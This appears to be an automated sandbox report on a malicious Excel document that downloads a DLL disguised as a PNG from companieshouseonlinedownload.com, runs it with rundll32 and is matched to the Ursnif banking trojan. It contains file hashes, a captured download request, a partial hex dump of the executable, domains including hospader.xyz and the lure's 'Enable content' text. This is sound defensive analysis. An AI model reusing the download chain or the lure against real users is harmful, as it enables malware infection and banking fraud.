Analysis Report OCC-221220-TBU1XAT7X4.xls

ID:	333660
Product:	CloudBasic
Start time:	14:47:49
Start date:	23.12.2020
Sample:	OCC-221220-TBU1XAT7X4.xls
Cookbook:	defaultwindowsofficecookbook.jbs
System description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Architecture:	WINDOWS
MD5:	c4356a3b949b77bce8be5ecf2def64db
SHA1:	e5de9340e03e98e6e0b8f6630cfd40295a6c9881
SHA256:	7389677e946cac4226da9b84eca90b94b59d46cf2bf4541ea58d96d39e6669d5
Filetype:	Microsoft Excel sheet (30009/1) 78.94%

Name	Type	MD5	SHA1	SHA256
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	Microsoft Cabinet archive data, 58936 bytes, 1 file	DB381E85D86EA4484D20078E9EC667A6	4871FDAF0C2EEC8183FC3CE7710B18FD3C647CEA	C3520E3A6EB43F6D416852C454414C5D7823A96FB9070BC30301ADDEBB334D4D
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A	data	6AEB4E76C6F68EFD7A48092E9F0F3492	823A035C0BDCC3DC09C881E788F7FACA53C6B458	FE1B9A0EABF44FDBE4DDE97C3CC1209FAD2FBB2D2D7476FFBF64066BD9919A4F
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	data	9FE6EC7AF7A771A5465B9C429223A77B	77BC291657A30BFD37EC9854E1EF180CF041E85A	59ED067380B844F51E5F08229329A3598BFA02334AAE6BB0370758C532F38EF2
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A	data	0E47BE2C181ED597A3D9EAFE5D6DBBBD	E23AE49D778A973D8EAF6CE4879B3B1C247DB505	F56F2A329494ED55EF6E27629EDE2FDDADD19AC98EC480F400A3DF63A7122E9F
C:\Users\user\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico	PNG image data, 16 x 16, 4-bit colormap, non-interlaced	9FB559A691078558E77D6848202F6541	EA13848D33C2C7F4F4BAA39348AEB1DBFAD3DF31	6D8A01DC7647BC218D003B58FE04049E24A9359900B7E0CEBAE76EDF85B8B914
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{5591F91C-4571-11EB-ADCF-ECF4BBB5915B}.dat	Microsoft Word Document	8F6C3B20FC4351C7BA4BDCD3E1A3672E	958EE2FECDB61FC960C639FDB8224BC1AE20A9E3	E7C6E80294FE56986DE73B144999A7233D68EA4993CA312E7C89411CFEA26433
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{5591F91E-4571-11EB-ADCF-ECF4BBB5915B}.dat	Microsoft Word Document	E06EA0253179EED5DBC53707B56F8A92	E6CD968CD8285296327A6D986077757419FA6061	0B99754A6ED1E19B185295789F5C972187BE914E12307033FBFEAA09D3D2912F
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{5591F920-4571-11EB-ADCF-ECF4BBB5915B}.dat	Microsoft Word Document	7A5C0CBBB6BBCB9565F340E31F8EE086	441E82533DB58126C3E0E9FCBE68DC0829569DB8	ED9473E7AD871E68F006D814539108459787A6B48A01494593E83CC23B89DFC3
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\imagestore\lr5drzg\imagestore.dat	data	B2402A0EA964074E6E4F121C98EB9DF4	94A7BC703916FB746D79C0B1E80D7659541CFB06	20D9719CE824852A228E78BB6FA61C7C9CCF1D65A0C4BCB0759BE2CF205FBDF3
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\index[1].htm	ASCII text, with very long lines, with no line terminators	A297353D64963C970FA560C345170869	2EEAC3FFB9880AF4157F5F3FD4011A916A6A2D4F	6D4A0ABE135CE49002A65447ABD03D5992B321315D16E061D303A6F38DD10B83
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ox9[1].png	PE32 executable (DLL) (console) Intel 80386, for MS Windows	68CF96F4BC91628E22E1526D9728990B	A1E1063EC8C3667E86E1AFAB81CB6BBEA84485B3	790191B70550856B3E8EC108FDB82CD8D852822D6716EC865F21CFB5AD160B7C
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\favicon[1].ico	MS Windows icon resource - 1 icon, 16x16, 16 colors, 4 bits/pixel	A976D227E5D1DCF62F5F7E623211DD1B	A2A9DC1ABDD3D888484678663928CB024C359EE6	66332859BD8E3441A019E073A318B62A47014BA244121301034B510DC7532271
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\index[1].htm	ASCII text, with very long lines, with no line terminators	6BD04187F24F82F5AE33F86F4D97BDC7	445C2C59054293E1BF30CFA9953FF9DEC5EEC24D	55E11BA82FEE0CC7A9910975340376E9A787BA086E90637D1231C0E34D24087B
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\favicon[1].ico	PNG image data, 16 x 16, 4-bit colormap, non-interlaced	9FB559A691078558E77D6848202F6541	EA13848D33C2C7F4F4BAA39348AEB1DBFAD3DF31	6D8A01DC7647BC218D003B58FE04049E24A9359900B7E0CEBAE76EDF85B8B914
C:\Users\user\AppData\Local\Temp\0CDE0000	data	E682C5BD11DE1F36003FEEF9DB78649D	220B7A29D4F9776ED855D5E7B76CE534FB0E4660	1B7684539C4981A8D646949512CC3363B20B8A478F89AA2AE7A6307D613F6F90
C:\Users\user\AppData\Local\Temp\Cab1CE2.tmp	Microsoft Cabinet archive data, 58936 bytes, 1 file	E4F1E21910443409E81E5B55DC8DE774	EC0885660BD216D0CDD5E6762B2F595376995BD0	CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5
C:\Users\user\AppData\Local\Temp\Cab1D23.tmp	Microsoft Cabinet archive data, 58936 bytes, 1 file	E4F1E21910443409E81E5B55DC8DE774	EC0885660BD216D0CDD5E6762B2F595376995BD0	CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5
C:\Users\user\AppData\Local\Temp\Tar1CE3.tmp	data	D0682A3C344DFC62FB18D5A539F81F61	09D3E9B899785DA377DF2518C6175D70CCF9DA33	4788F7F15DE8063BB3B2547AF1BD9CDBD0596359550E53EC98E532B2ADB5EC5A
C:\Users\user\AppData\Local\Temp\Tar1D24.tmp	data	D0682A3C344DFC62FB18D5A539F81F61	09D3E9B899785DA377DF2518C6175D70CCF9DA33	4788F7F15DE8063BB3B2547AF1BD9CDBD0596359550E53EC98E532B2ADB5EC5A
C:\Users\user\AppData\Local\Temp\~DF3C5C2A9E584434E2.TMP	data	AF1649E79F2DAD4712457C1EC07AF322	E280F164850070495A30DC06B40410DC8055565D	58B7D73ED3118B59AA41D501647179F7BD185E0DF28A73195BB728EB210DB02C
C:\Users\user\AppData\Local\Temp\~DF97328D057695074B.TMP	data	447962120CED332B80D4012BF5BB3E14	2A21FB96C3B06BC67AAD0ED43BC8E0E56F5B9C14	F19DE88ADB911CE27D708E7BF0E5DB714C4AAAFDAD1C5784D416E5F344CE256D
C:\Users\user\AppData\Local\Temp\~DFFE6867554BD92C1A.TMP	data	75243C38ECF6670BC33E7D19F2B9A219	169C3B37EFFD387DE3D34A77E0B7CB3FCEEC8F70	2D208810AFCD145FA823E7911F7148B568FC4CD70E27CDE6C58A2F2EC23AD746
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Wed Dec 23 21:48:42 2020, atime=Wed Dec 23 21:48:42 2020, length=12288, window=hide	B58F98A31732CC1BD9B9A04B7E8164E5	55BE8012AF57E1B0E6EE7FBA6F31CE3A6C3CB9E6	7788A07B21B076D8FFBA1BF0E179A8610F8D5B5FF5143610AE6CF0B0D156D7E6
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\OCC-221220-TBU1XAT7X4.LNK	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:12 2020, mtime=Wed Dec 23 21:48:42 2020, atime=Wed Dec 23 21:48:42 2020, length=325120, window=hide	23D19F6FA7C89B898BBAB87207A95D01	E80AE445E43F9CA316E6843188FFA3A64E90A186	93270241517014DFC7889FE9FADE272A9545E0DCC7DE00A3FF2FECF6B5D48E67
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat	ASCII text, with CRLF line terminators	115E1D4A33F21DC9D6727BAEA9A373C7	0EA691AB8173AE05568218CEF134EB9E975DC73F	48AE41E3911C1146D03BE39B092136640267D3521F401F3F67B097D0E93FFD43
C:\Users\user\Desktop\CDDE0000	Applesoft BASIC program data, first line number 16	8460536D38C5B65D12A5845D5A5CF625	77CEB384E8B3FAE310C1615115935A4BEA2FB9BF	91D36C9DD924EC0A25D50F3F47DF71D8F10142998C84D3B01FBF9F43F75CBF70
C:\Users\user\cnvmb.rty	PE32 executable (DLL) (console) Intel 80386, for MS Windows	68CF96F4BC91628E22E1526D9728990B	A1E1063EC8C3667E86E1AFAB81CB6BBEA84485B3	790191B70550856B3E8EC108FDB82CD8D852822D6716EC865F21CFB5AD160B7C

AV Detection:

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ox9[1].png	Avira: detection malicious, Label: HEUR/AGEN.1138179
Source: C:\Users\user\cnvmb.rty	Avira: detection malicious, Label: HEUR/AGEN.1138179

Antivirus or Machine Learning detection for unpacked file

Source: 4.2.rundll32.exe.1c0000.0.unpack

Avira: Label: TR/Patched.Ren.Gen

Software Vulnerabilities:

Document exploit detected (drops PE files)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: ox9[1].png.0.dr

Jump to dropped file

Document exploit detected (UrlDownloadToFile)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe

Jump to behavior

Allocates a big amount of memory (probably used for heap spraying)

Source: excel.exe

Memory has grown: Private usage: 4MB later: 54MB

Networking:

Creates a COM Internet Explorer object

Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER_CLASSES\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\TreatAs			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\TreatAs			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\Progid			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\Progid			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\ProgID			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\Progid			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\Progid			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\ProgID			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocServer32			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocServer32			Jump to behavior

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Image file has PE prefix: HTTP/1.1 200 OK Date: Wed, 23 Dec 2020 13:48:46 GMT Server: Apache/2.4.25 (Debian) Last-Modified: Tue, 22 Dec 2020 12:15:21 GMT ETag: "3a400-5b70c874cc840" Accept-Ranges: bytes Content-Length: 238592 Connection: close Content-Type: image/png Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a9 44 a5 bf ed 25 cb ec ed 25 cb ec ed 25 cb ec 82 3a c0 ec ec 25 cb ec 6e 39 c5 ec f9 25 cb ec 82 3a c1 ec d5 25 cb ec e4 5d 58 ec eb 25 cb ec ca e3 b0 ec ee 25 cb ec ed 25 ca ec bf 25 cb ec e4 5d 4f ec ec 25 cb ec e4 5d 59 ec ec 25 cb ec f3 77 5f ec ec 25 cb ec e4 5d 5a ec ec 25 cb ec 52 69 63 68 ed 25 cb ec 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 59 4c f5 5b 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 09 00 00 b6 01 00 00 20 02 00 00 00 00 00 90 1e 00 00 00 10 00 00 00 d0 01 00 00 00 00 10 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 04 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 e6 01 00 4b 00 00 00 64 de 01 00 64 00 00 00 00 e0 03 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 03 00 48 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 01 00 58 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 b4 01 00 00 10 00 00 00 b6 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5b 16 00 00 00 d0 01 00 00 18 00 00 00 ba 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a0 ed 01 00 00 f0 01 00 00 b8 01 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 60 09 00 00 00 e0 03 00 00 0a 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 58 0e 00 00 00 f0 03 00 00 10 00 00 00 94 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Downloads executable code via HTTP

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 23 Dec 2020 13:48:46 GMTServer: Apache/2.4.25 (Debian)Last-Modified: Tue, 22 Dec 2020 12:15:21 GMTETag: "3a400-5b70c874cc840"Accept-Ranges: bytesContent-Length: 238592Connection: closeContent-Type: image/pngData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a9 44 a5 bf ed 25 cb ec ed 25 cb ec ed 25 cb ec 82 3a c0 ec ec 25 cb ec 6e 39 c5 ec f9 25 cb ec 82 3a c1 ec d5 25 cb ec e4 5d 58 ec eb 25 cb ec ca e3 b0 ec ee 25 cb ec ed 25 ca ec bf 25 cb ec e4 5d 4f ec ec 25 cb ec e4 5d 59 ec ec 25 cb ec f3 77 5f ec ec 25 cb ec e4 5d 5a ec ec 25 cb ec 52 69 63 68 ed 25 cb ec 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 59 4c f5 5b 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 09 00 00 b6 01 00 00 20 02 00 00 00 00 00 90 1e 00 00 00 10 00 00 00 d0 01 00 00 00 00 10 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 04 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 e6 01 00 4b 00 00 00 64 de 01 00 64 00 00 00 00 e0 03 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 03 00 48 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 01 00 58 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 b4 01 00 00 10 00 00 00 b6 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5b 16 00 00 00 d0 01 00 00 18 00 00 00 ba 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a0 ed 01 00 00 f0 01 00 00 b8 01 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 60 09 00 00 00 e0 03 00 00 0a 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 58 0e 00 00 00 f0 03 00 00 10 00 00 00 94 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Downloads files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ

Jump to behavior

Downloads files from webservers via HTTP

Source: global traffic

HTTP traffic detected: GET /ox9.png HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: companieshouseonlinedownload.comConnection: Keep-Alive

Found strings which match to known social media urls

Source: rundll32.exe, 00000003.00000002.2420131339.0000000001B30000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2420252925.0000000001E30000.00000002.00000001.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: companieshouseonlinedownload.com

Urls found in memory or binary data

Source: rundll32.exe, 00000004.00000002.2421789908.00000000043B0000.00000004.00000040.sdmp	String found in binary or memory: http://%s=%s&file://&os=%u.%u_%u_%u_x%uindex.html;
Source: E0F5C59F9FA661F6F4C50B87FEF3A15A.11.dr	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c
Source: OCC-221220-TBU1XAT7X4.xls, before.2.0.0.sheet.csv_unpack	String found in binary or memory: http://companieshouseonlinedownload.com/ox9.png
Source: rundll32.exe, 00000004.00000002.2421932090.0000000004500000.00000002.00000001.sdmp	String found in binary or memory: http://computername/printers/printername/.printer
Source: 77EC63BDA74BD0D0E0426DC8F8008506.11.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: rundll32.exe, 00000003.00000002.2420131339.0000000001B30000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2420252925.0000000001E30000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000003.00000002.2420131339.0000000001B30000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2420252925.0000000001E30000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000003.00000002.2420330626.0000000001D17000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2420433379.0000000002017000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000003.00000002.2420330626.0000000001D17000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2420433379.0000000002017000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: rundll32.exe, 00000004.00000002.2420654046.00000000023A0000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: rundll32.exe, 00000003.00000002.2420330626.0000000001D17000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2420433379.0000000002017000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: rundll32.exe, 00000004.00000002.2421932090.0000000004500000.00000002.00000001.sdmp	String found in binary or memory: http://treyresearch.net
Source: rundll32.exe, 00000004.00000002.2421932090.0000000004500000.00000002.00000001.sdmp	String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: rundll32.exe, 00000003.00000002.2420330626.0000000001D17000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2420433379.0000000002017000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: rundll32.exe, 00000004.00000002.2420654046.00000000023A0000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: rundll32.exe, 00000004.00000002.2421932090.0000000004500000.00000002.00000001.sdmp	String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: rundll32.exe, 00000003.00000002.2420131339.0000000001B30000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2420252925.0000000001E30000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000003.00000002.2420330626.0000000001D17000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2420433379.0000000002017000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000004.00000002.2421932090.0000000004500000.00000002.00000001.sdmp	String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: rundll32.exe, 00000003.00000002.2420131339.0000000001B30000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2420252925.0000000001E30000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: rundll32.exe, 00000004.00000002.2420252925.0000000001E30000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: rundll32.exe, 00000004.00000002.2421789908.00000000043B0000.00000004.00000040.sdmp	String found in binary or memory: https://hospader.xyz
Source: imagestore.dat.11.dr	String found in binary or memory: https://hospader.xyz/favicon.ico
Source: rundll32.exe, 00000003.00000002.2420076289.0000000000730000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2420139760.000000000064D000.00000004.00000020.sdmp, rundll32.exe, 00000004.00000002.2420212763.0000000000A30000.00000002.00000001.sdmp, ~DF3C5C2A9E584434E2.TMP.10.dr	String found in binary or memory: https://hospader.xyz/index.htm
Source: rundll32.exe, 00000004.00000002.2421789908.00000000043B0000.00000004.00000040.sdmp	String found in binary or memory: https://hospader.xyz/index.htm1
Source: {5591F91E-4571-11EB-ADCF-ECF4BBB5915B}.dat.10.dr	String found in binary or memory: https://hospader.xyz/index.htmRoot
Source: rundll32.exe, 00000004.00000002.2420139760.000000000064D000.00000004.00000020.sdmp	String found in binary or memory: https://hospader.xyz/index.htma;
Source: {5591F91E-4571-11EB-ADCF-ECF4BBB5915B}.dat.10.dr	String found in binary or memory: https://hospader.xyz/index.htmndex.htm

Uses HTTPS

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 443

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Source: Yara match	File source: 00000004.00000002.2421789908.00000000043B0000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2536, type: MEMORY

E-Banking Fraud:

Yara detected Ursnif

Source: Yara match	File source: 00000004.00000002.2421789908.00000000043B0000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2536, type: MEMORY

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: Enable editing" to unlock the ed't'ng document d2n|oaded from the 'nternet "7 0Protected View This
Source: Screenshot number: 4	Screenshot OCR: Enable content" to perform Microsoft Word Decryption Core to start g) the decryption of the documen
Source: Document image extraction number: 2	Screenshot OCR: Enable editing" to unlock the editing document downloaded from the internet."7 0Protected View This
Source: Document image extraction number: 2	Screenshot OCR: Enable content" to perform Microsoft Word Decryption Core to start the decryption of the document.
